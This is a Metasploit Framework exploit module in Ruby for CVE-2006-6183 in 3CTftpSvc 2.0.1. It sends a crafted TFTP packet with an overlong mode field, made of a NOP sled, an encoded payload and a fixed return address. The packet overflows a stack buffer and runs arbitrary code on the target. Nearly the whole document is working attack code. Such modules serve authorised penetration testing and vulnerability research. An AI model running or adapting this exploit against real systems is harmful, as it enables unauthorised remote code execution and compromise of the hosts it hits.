3CTftpSvc TFTP Long Mode Buffer Overflow

                                                ##
# $Id: threectftpsvc_long_mode.rb 9262 2010-05-09 17:45:00Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##

require 'msf/core'

class Metasploit3 < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Udp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => '3CTftpSvc TFTP Long Mode Buffer Overflow',
			'Description'    => %q{
					This module exploits a stack buffer overflow in 3CTftpSvc 2.0.1. By
				sending a specially crafted packet with an overly long mode
				field, a remote attacker could overflow a buffer and execute
				arbitrary code on the system.
			},
			'Author'         => 'MC',
			'Version'        => '$Revision: 9262 $',
			'References'     =>
				[
					['CVE', '2006-6183'],
					['OSVDB', '30758'],
					['BID', '21301'],
					['URL', 'http://secunia.com/advisories/23113/'],
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
				},
			'Payload'        =>
				{
					'Space'    => 400,
					'BadChars' => "\x00",
					'StackAdjustment' => -3500,
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ '3CTftpSvc 2.0.1',			{ 'Ret' => 0x00402b02 } ],
				],
			'Privileged'     => true,
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Nov 27 2006'))

		register_options([Opt::RPORT(69)], self.class)
	end

	def exploit
		connect_udp

		sploit = "\x00\x02" + rand_text_alpha_upper(1) + "\x00" + make_nops(73)
		sploit << payload.encoded + [target.ret].pack('V') + make_nops(25) + "\x00"

		print_status("Trying target #{target.name}...")

		udp_sock.put(sploit)

		disconnect_udp
	end

end